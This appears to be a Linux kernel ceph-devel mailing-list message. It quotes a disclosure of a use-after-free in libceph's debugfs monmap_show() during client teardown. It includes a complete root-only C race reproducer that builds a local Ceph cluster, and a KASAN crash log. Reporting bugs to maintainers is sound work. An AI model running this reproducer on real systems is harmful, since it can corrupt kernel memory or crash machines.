Re: [PATCH 0/1] libceph: debugfs: monmap_show use-after-free during client teardown
Viacheslav Dubeyko <[email protected]>
| Newsgroups | org.kernel.vger.ceph-devel |
|---|---|
| Message-ID | <[email protected]> |
CC: [email protected] On Mon, 2026-06-15 at 14:31 +0800, Ren Wei wrote: > From: Douya Le <[email protected]> > > Hi Linux kernel maintainers, > > We found and validated an issue in net/ceph/debugfs.c. > The bug is reachable by root on a local system. > The relevant details are provided below. > > ---- details below ---- > > Bug details: > > The bug is in the interaction between `monmap_show()` in > `net/ceph/debugfs.c` and client teardown in `ceph_destroy_client()` / > `ceph_monc_stop()`. > > `monmap_show()` reads `client->monc.monmap` under `monc->mutex` for > the > `/sys/kernel/debug/ceph/.../monmap` debugfs file and assumes that > this > makes the pointer stable while it prints the monitor map. > > During teardown, `ceph_destroy_client()` used to call > `ceph_monc_stop()` before removing the per-client debugfs files. > `ceph_monc_stop()` drops `monc->mutex` early and later frees > `monc->monmap`. This leaves a window where the `monmap` debugfs file > is > still reachable, but the backing `monmap` object has already been > freed. > A concurrent debugfs read can then enter `monmap_show()`, observe a > stale non-NULL `monc->monmap` pointer, and dereference freed memory. > > With KASAN enabled, this reproduces as a slab use-after-free read in > `monmap_show()`. > > Reproducer: > > gcc -O2 -pthread -o mini_poc mini_poc.c > PANIC_ON_WARN=0 ./mini_poc > > > We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. > > ------BEGIN mini_poc.c------ > > #define _GNU_SOURCE > > #include <dirent.h> > #include <errno.h> > #include <fcntl.h> > #include <pthread.h> > #include <signal.h> > #include <stdarg.h> > #include <stdbool.h> > #include <stdio.h> > #include <stdlib.h> > #include <string.h> > #include <sys/stat.h> > #include <sys/types.h> > #include <sys/wait.h> > #include <time.h> > #include <unistd.h> > > #define CEPH_DEBUGFS "/sys/kernel/debug/ceph" > #define MAX_DAEMONS 8 > #define MAX_CMD 4096 > #define MAX_PATH 512 > #define READ_BUF 4096 > > static volatile sig_atomic_t stop_flag; > static int readers = 64; > static int workers = 8; > static int mon_port = 6789; > static int panic_on_warn; > static unsigned int mount_hold_us = 50000; > static char fsid[64]; > static char workdir[MAX_PATH] = "/root/ceph-lab-mini"; > static char base_mnt[MAX_PATH] = "/mnt/ceph-mini"; > static pid_t daemons[MAX_DAEMONS]; > static size_t daemon_count; > static pthread_t *reader_tids; > static pthread_t *worker_tids; > > static void trim_newline(char *s) > { > size_t len; > > if (!s) > return; > > len = strlen(s); > while (len > 0 && (s[len - 1] == '\n' || s[len - 1] == '\r' > || > s[len - 1] == ' ' || s[len - 1] == '\t')) > { > s[--len] = '\0'; > } > } > > static void fail(const char *fmt, ...) > { > va_list ap; > > va_start(ap, fmt); > vfprintf(stderr, fmt, ap); > va_end(ap); > fputc('\n', stderr); > exit(1); > } > > static void log_msg(const char *fmt, ...) > { > va_list ap; > > va_start(ap, fmt); > fprintf(stderr, "[mini] "); > vfprintf(stderr, fmt, ap); > fprintf(stderr, "\n"); > va_end(ap); > } > > static int run_cmd(const char *fmt, ...) > { > va_list ap; > char cmd[MAX_CMD]; > int rc; > > va_start(ap, fmt); > vsnprintf(cmd, sizeof(cmd), fmt, ap); > va_end(ap); > > rc = system(cmd); > if (rc == -1) > return -1; > if (WIFEXITED(rc)) > return WEXITSTATUS(rc); > return 255; > } > > static void must_succeed(const char *fmt, ...) > { > va_list ap; > char cmd[MAX_CMD]; > int rc; > > va_start(ap, fmt); > vsnprintf(cmd, sizeof(cmd), fmt, ap); > va_end(ap); > > rc = system(cmd); > if (rc == -1) > fail("system failed: %s", cmd); > if (!WIFEXITED(rc) || WEXITSTATUS(rc) != 0) > fail("command failed (%d): %s", rc, cmd); > } > > static void read_cmd_output(char *buf, size_t buflen, const char > *fmt, ...) > { > va_list ap; > char cmd[MAX_CMD]; > FILE *fp; > > va_start(ap, fmt); > vsnprintf(cmd, sizeof(cmd), fmt, ap); > va_end(ap); > > fp = popen(cmd, "r"); > if (!fp) > fail("popen failed: %s", cmd); > > if (!fgets(buf, (int)buflen, fp)) { > pclose(fp); > fail("no output from command: %s", cmd); > } > > if (pclose(fp) == -1) > fail("pclose failed: %s", cmd); > > trim_newline(buf); > } > > static void require_bin(const char *bin) > { > if (run_cmd("command -v %s >/dev/null 2>&1", bin) != 0) > fail("missing required binary: %s", bin); > } > > static void kill_daemons(void) > { > size_t i; > > for (i = 0; i < daemon_count; i++) { > if (daemons[i] > 0) > kill(daemons[i], SIGTERM); > } > > for (i = 0; i < daemon_count; i++) { > if (daemons[i] > 0) > waitpid(daemons[i], NULL, 0); > } > > daemon_count = 0; > } > > static void cleanup(void) > { > int i; > > stop_flag = 1; > kill_daemons(); > > for (i = 1; i <= workers; i++) { > run_cmd("timeout 5 umount %s.%d >/dev/null 2>&1", > base_mnt, i); > } > > run_cmd("pkill -f '^ceph-mon -i a ' >/dev/null 2>&1"); > run_cmd("pkill -f '^ceph-mgr -i x ' >/dev/null 2>&1"); > run_cmd("pkill -f '^ceph-mds -i a ' >/dev/null 2>&1"); > run_cmd("pkill -f '^ceph-osd -i 0 ' >/dev/null 2>&1"); > run_cmd("rm -rf %s", workdir); > } > > static void handle_signal(int signo) > { > (void)signo; > stop_flag = 1; > } > > static void install_handlers(void) > { > struct sigaction sa; > > memset(&sa, 0, sizeof(sa)); > sa.sa_handler = handle_signal; > sigemptyset(&sa.sa_mask); > sigaction(SIGINT, &sa, NULL); > sigaction(SIGTERM, &sa, NULL); > } > > static pid_t start_daemon(const char *log_path, const char *fmt, ...) > { > va_list ap; > char cmd[MAX_CMD]; > pid_t pid; > > if (daemon_count >= MAX_DAEMONS) > fail("too many daemons"); > > va_start(ap, fmt); > vsnprintf(cmd, sizeof(cmd), fmt, ap); > va_end(ap); > > pid = fork(); > if (pid < 0) > fail("fork failed"); > if (pid == 0) { > int fd = open(log_path, O_CREAT | O_WRONLY | > O_TRUNC, 0644); > if (fd < 0) > _exit(127); > dup2(fd, STDOUT_FILENO); > dup2(fd, STDERR_FILENO); > close(fd); > execl("/bin/sh", "sh", "-c", cmd, (char *)NULL); > _exit(127); > } > > daemons[daemon_count++] = pid; > return pid; > } > > static void wait_for(const char *desc, const char *cmd, int seconds) > { > int i; > > for (i = 0; i < seconds; i++) { > if (stop_flag) > fail("stopped while waiting for %s", desc); > if (run_cmd("%s", cmd) == 0) > return; > sleep(1); > } > > fail("timed out waiting for %s", desc); > } > > static void write_ceph_conf(void) > { > FILE *fp = fopen("/etc/ceph/ceph.conf", "w"); > > if (!fp) > fail("failed to open /etc/ceph/ceph.conf"); > > fprintf(fp, > "[global]\n" > "fsid = %s\n" > "mon host = 127.0.0.1\n" > "public network = 127.0.0.0/8\n" > "auth cluster required = none\n" > "auth service required = none\n" > "auth client required = none\n" > "osd pool default size = 1\n" > "osd pool default min size = 1\n" > "osd crush chooseleaf type = 0\n" > "osd objectstore = memstore\n" > "memstore device bytes = 536870912\n" > "mon_allow_pool_delete = true\n" > "ms_bind_ipv4 = true\n" > "ms_bind_ipv6 = false\n" > "[mon.a]\n" > "mon addr = 127.0.0.1:%d\n" > "mon data = %s/mon.a\n" > "host = syzkaller\n" > "[osd.0]\n" > "host = syzkaller\n" > "osd data = %s/osd0\n" > "[mds.a]\n" > "host = syzkaller\n" > "mds data = %s/mds.a\n" > "[mgr.x]\n" > "host = syzkaller\n" > "mgr data = %s/mgr.x\n", > fsid, mon_port, workdir, workdir, workdir, workdir); > > if (fclose(fp) != 0) > fail("failed to write ceph.conf"); > } > > static void setup_cluster(void) > { > char osd_uuid[64]; > char osd_id[32]; > > log_msg("preparing local CephFS cluster"); > > must_succeed("rm -rf %s", workdir); > must_succeed("mkdir -p %s/mon.a %s/osd0 %s/mgr.x %s/mds.a", > workdir, workdir, workdir, workdir); > must_succeed("mkdir -p /etc/ceph /var/log/ceph > /var/run/ceph"); > write_ceph_conf(); > > must_succeed("monmaptool --create --add a 127.0.0.1:%d -- > fsid %s %s/monmap", > mon_port, fsid, workdir); > must_succeed("ceph-mon --mkfs -i a --monmap %s/monmap --mon- > data %s/mon.a --setuser root --setgroup root", > workdir, workdir); > start_daemon("/var/log/ceph/mon.a.log", > "exec ceph-mon -i a --mon-data %s/mon.a -f", > workdir); > wait_for("monitor", "ceph -s >/dev/null 2>&1", 60); > > read_cmd_output(osd_uuid, sizeof(osd_uuid), "uuidgen"); > must_succeed("sh -c 'ceph osd create %s > /tmp/ceph-osd- > id.mini'", osd_uuid); > read_cmd_output(osd_id, sizeof(osd_id), "cat /tmp/ceph-osd- > id.mini"); > if (strcmp(osd_id, "0") != 0) > fail("unexpected osd id: %s", osd_id); > > must_succeed("ceph-osd -i 0 --mkfs --mkkey --monmap > %s/monmap --osd-uuid %s --osd-data %s/osd0", > workdir, osd_uuid, workdir); > start_daemon("/var/log/ceph/osd.0.log", > "exec ceph-osd -i 0 -f"); > wait_for("osd", "sh -c \"ceph osd stat 2>/dev/null | grep -q > '1 up'\"", 60); > > must_succeed("ceph osd crush add osd.0 1 host=syzkaller > root=default >/dev/null"); > start_daemon("/var/log/ceph/mgr.x.log", > "exec ceph-mgr -i x -f"); > must_succeed("ceph osd pool create cephfs_metadata 8 > >/dev/null"); > must_succeed("ceph osd pool create cephfs_data 8 > >/dev/null"); > must_succeed("ceph fs new cephfs cephfs_metadata cephfs_data > >/dev/null"); > start_daemon("/var/log/ceph/mds.a.log", > "exec ceph-mds -i a -f"); > wait_for("mds", "sh -c \"ceph mds stat 2>/dev/null | grep -q > 'up:'\"", 60); > } > > static void *reader_thread(void *arg) > { > char buf[READ_BUF]; > (void)arg; > > while (!stop_flag) { > DIR *dir = opendir(CEPH_DEBUGFS); > struct dirent *de; > > if (!dir) { > usleep(10000); > continue; > } > > while (!stop_flag && (de = readdir(dir)) != NULL) { > char path[MAX_PATH]; > ssize_t n; > int fd; > > if (de->d_name[0] == '.') > continue; > > snprintf(path, sizeof(path), "%s/%s/monmap", > CEPH_DEBUGFS, de->d_name); > fd = open(path, O_RDONLY | O_CLOEXEC); > if (fd < 0) > continue; > > do { > n = read(fd, buf, sizeof(buf)); > } while (n > 0 || (n < 0 && errno == > EINTR)); > > close(fd); > } > > closedir(dir); > } > > return NULL; > } > > static void *worker_thread(void *arg) > { > int idx = (int)(long)arg; > char mnt[MAX_PATH]; > char cmd[MAX_CMD]; > int n; > > n = snprintf(mnt, sizeof(mnt), "%s.%d", base_mnt, idx); > if (n < 0 || n >= (int)sizeof(mnt)) > fail("mount path too long"); > mkdir(mnt, 0755); > > while (!stop_flag) { > snprintf(cmd, sizeof(cmd), > "timeout 20 mount -i -t ceph > 'guest@%s.cephfs=/' %s " > "-o > 'mon_addr=127.0.0.1:%d,ms_mode=legacy,noshare,mount_timeout=20' > >/dev/null 2>&1", > fsid, mnt, mon_port); > if (run_cmd("%s", cmd) == 0) { > usleep(mount_hold_us); > run_cmd("timeout 20 umount %s >/dev/null > 2>&1", mnt); > } > } > > return NULL; > } > > static void parse_env_int(const char *name, int *value, int min, int > max) > { > const char *s = getenv(name); > char *end = NULL; > long v; > > if (!s || !*s) > return; > > v = strtol(s, &end, 0); > if (!end || *end != '\0' || v < min || v > max) > fail("invalid %s: %s", name, s); > *value = (int)v; > } > > static void prepare_runtime(void) > { > if (geteuid() != 0) > fail("run as root"); > > require_bin("ceph"); > require_bin("ceph-mon"); > require_bin("ceph-mgr"); > require_bin("ceph-mds"); > require_bin("ceph-osd"); > require_bin("monmaptool"); > require_bin("mount"); > require_bin("umount"); > require_bin("mountpoint"); > require_bin("uuidgen"); > require_bin("timeout"); > > parse_env_int("READERS", &readers, 1, 4096); > parse_env_int("WORKERS", &workers, 1, 256); > parse_env_int("MON_PORT", &mon_port, 1, 65535); > parse_env_int("PANIC_ON_WARN", &panic_on_warn, 0, 1); > > if (getenv("WORKDIR")) > snprintf(workdir, sizeof(workdir), "%s", > getenv("WORKDIR")); > if (getenv("BASE_MNT")) > snprintf(base_mnt, sizeof(base_mnt), "%s", > getenv("BASE_MNT")); > > read_cmd_output(fsid, sizeof(fsid), "uuidgen"); > > must_succeed("mountpoint -q /sys/kernel/debug || mount -t > debugfs none /sys/kernel/debug"); > must_succeed("sysctl -w kernel.panic_on_warn=%d >/dev/null", > panic_on_warn); > must_succeed("sh -c 'echo 8 >/proc/sys/kernel/printk'"); > } > > int main(void) > { > long i; > > install_handlers(); > atexit(cleanup); > prepare_runtime(); > setup_cluster(); > > log_msg("cluster is ready; starting %d readers and %d > workers", readers, workers); > > reader_tids = calloc((size_t)readers, sizeof(*reader_tids)); > worker_tids = calloc((size_t)workers, sizeof(*worker_tids)); > if (!reader_tids || !worker_tids) > fail("calloc failed"); > > for (i = 0; i < readers; i++) { > if (pthread_create(&reader_tids[i], NULL, > reader_thread, NULL) != 0) > fail("pthread_create reader failed"); > } > > for (i = 0; i < workers; i++) { > if (pthread_create(&worker_tids[i], NULL, > worker_thread, (void *)(i + 1)) != 0) > fail("pthread_create worker failed"); > } > > for (;;) { > if (stop_flag) > break; > pause(); > } > > return 0; > } > > ------END mini_poc.c-------- > > ----BEGIN crash log---- > > [ 613.239991][T14677] > ================================================================== > [ 613.241882][T14677] BUG: KASAN: slab-use-after-free in > monmap_show+0x2b9/0x320 > [ 613.244065][T14677] Read of size 4 at addr ffff8880588441d0 by > task mini_poc/14677 > [ 613.245758][T14677] CPU: 0 UID: 0 PID: 14677 Comm: mini_poc Not > tainted 7.1.0-rc6-00222-g512db8267b73 #5 PREEMPT(full) > [ 613.245908][T14677] monmap_show+0x2b9/0x320 > [ 613.246010][T14677] full_proxy_read+0x135/0x1a0 > [ 613.246058][T14677] ksys_read+0x12a/0x250 > [ 613.289570][T14677] Allocated by task 55: > [ 613.294344][T14677] mon_dispatch+0x18dc/0x2710 > [ 613.303567][T14677] Freed by task 14812: > [ 613.309266][T14677] ceph_destroy_client+0x78/0x160 > [ 613.310209][T14677] destroy_fs_client+0x1e4/0x3b0 > [ 613.319394][T14677] The buggy address belongs to the object at > ffff8880588441c0 > [ 613.321942][T14677] The buggy address is located 16 bytes inside > of > [ 613.321942][T14677] freed 192-byte region [ffff8880588441c0, > ffff888058844280) > [ 613.376017][T14677] Memory state around the buggy address: > [ 613.380180][T14677] >ffff888058844180: fc fc fc fc fc fc fc fc fa > fb fb fb fb fb fb fb > [ 613.386573][T14677] > ================================================================== > > > -----END crash log----- > > Best regards, > Douya Le